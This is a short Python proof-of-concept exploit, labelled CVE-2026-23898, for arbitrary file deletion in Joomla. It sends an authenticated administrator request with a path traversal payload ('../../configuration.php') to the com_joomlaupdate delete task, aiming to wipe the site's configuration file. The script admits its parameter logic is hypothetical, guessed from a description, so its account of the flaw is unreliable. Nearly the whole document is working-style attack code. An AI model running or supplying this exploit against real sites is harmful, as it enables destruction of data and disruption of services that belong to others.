CVE-2026-23898

import requests # PoC for CVE-2026-23898: Joomla Arbitrary File Deletion # Description: This script demonstrates the vulnerability by attempting to delete a target file. # Note: Exploitation requires High Privileges (Administrator session). target_url = "http://example.com/administrator/index.php" file_to_delete = "configuration.php" session_id = "YOUR_SESSION_ID_HERE" headers = { "Cookie": f"JoomlaSession={session_id}", "User-Agent": "CVE-2026-23898-Exploit" } # Vulnerable parameter logic (Hypothetical based on description) data = { "option": "com_joomlaupdate", "task": "delete", "file": f"../../{file_to_delete}" # Path traversal payload } try: response = requests.post(target_url, data=data, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Request sent to delete {file_to_delete}.") print(f"[+] Response: {response.text[:100]}") else: print("[-] Failed to send request.") except Exception as e: print(f"[!] Error: {e}")

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